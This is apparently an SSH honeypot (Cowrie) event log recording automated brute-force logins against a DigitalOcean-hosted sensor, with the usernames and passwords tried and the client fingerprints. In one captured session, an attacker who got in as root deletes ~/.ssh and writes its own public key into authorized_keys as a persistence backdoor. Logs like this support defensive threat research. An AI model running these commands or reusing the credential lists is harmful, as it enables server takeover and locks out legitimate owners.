{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:21.161077Z","src_ip":"68.233.116.124","session":"28078c4fc125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:21.176054Z","src_ip":"68.233.116.124","session":"2bb0bca363cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:22.062642Z","src_ip":"68.183.236.1","session":"de0e985a295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:22.304449Z","src_ip":"68.183.236.1","session":"de0e985a295b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:22.312948Z","src_ip":"68.183.236.1","session":"e2aa1917ce2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":54796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c791c38ff87","protocol":"ssh","message":"New connection: 103.134.154.36:54796 (10.17.0.5:22) [session: 7c791c38ff87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:42.049929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:42.055423Z","src_ip":"103.134.154.36","session":"7c791c38ff87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:42.283342Z","src_ip":"103.134.154.36","session":"7c791c38ff87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"librenms","password":"123456","message":"login attempt [librenms/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:43.236778Z","src_ip":"103.134.154.36","session":"7c791c38ff87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:44.467628Z","src_ip":"103.134.154.36","session":"7c791c38ff87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":33296,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e10cd91cb41","protocol":"ssh","message":"New connection: 93.71.118.99:33296 (159.203.135.109:22) [session: 0e10cd91cb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:52.282480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:52.287063Z","src_ip":"93.71.118.99","session":"0e10cd91cb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:52.624874Z","src_ip":"93.71.118.99","session":"0e10cd91cb41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bai","password":"bai123!","message":"login attempt [bai/bai123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:53.919024Z","src_ip":"93.71.118.99","session":"0e10cd91cb41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:20:55.154016Z","src_ip":"93.71.118.99","session":"0e10cd91cb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41684,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14d7f178ca6","protocol":"ssh","message":"New connection: 2.57.122.208:41684 (159.203.135.109:22) [session: d14d7f178ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:03.629593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:03.633409Z","src_ip":"2.57.122.208","session":"d14d7f178ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:03.747268Z","src_ip":"2.57.122.208","session":"d14d7f178ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:04.168401Z","src_ip":"2.57.122.208","session":"d14d7f178ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:05.394836Z","src_ip":"2.57.122.208","session":"d14d7f178ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49304,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9cf343b6156","protocol":"ssh","message":"New connection: 138.99.80.102:49304 (159.203.135.109:22) [session: e9cf343b6156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:11.304657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:11.308487Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:11.414089Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Abc.1234","message":"login attempt [root/Abc.1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:11.870154Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.112987Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.116124Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.119309Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.228333Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.547682Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.550898Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.662163Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.665948Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49310,"dst_ip":"159.203.135.109","dst_port":22,"session":"5941913ce885","protocol":"ssh","message":"New connection: 138.99.80.102:49310 (159.203.135.109:22) [session: 5941913ce885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.768140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.771411Z","src_ip":"138.99.80.102","session":"5941913ce885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:12.878036Z","src_ip":"138.99.80.102","session":"5941913ce885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:13.341440Z","src_ip":"138.99.80.102","session":"5941913ce885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:14.713145Z","src_ip":"138.99.80.102","session":"5941913ce885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49326,"dst_ip":"159.203.135.109","dst_port":22,"session":"ceab87b57621","protocol":"ssh","message":"New connection: 138.99.80.102:49326 (159.203.135.109:22) [session: ceab87b57621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:14.813683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:14.818247Z","src_ip":"138.99.80.102","session":"ceab87b57621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:14.923943Z","src_ip":"138.99.80.102","session":"ceab87b57621","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:15.378408Z","src_ip":"138.99.80.102","session":"ceab87b57621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:15.486922Z","src_ip":"138.99.80.102","session":"e9cf343b6156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:15.491792Z","src_ip":"138.99.80.102","session":"ceab87b57621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":40546,"dst_ip":"159.203.135.109","dst_port":22,"session":"7215c09f408c","protocol":"ssh","message":"New connection: 159.223.57.48:40546 (159.203.135.109:22) [session: 7215c09f408c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:49.321270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:49.325699Z","src_ip":"159.223.57.48","session":"7215c09f408c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:21:49.562416Z","src_ip":"159.223.57.48","session":"7215c09f408c","protocol":"ssh"}
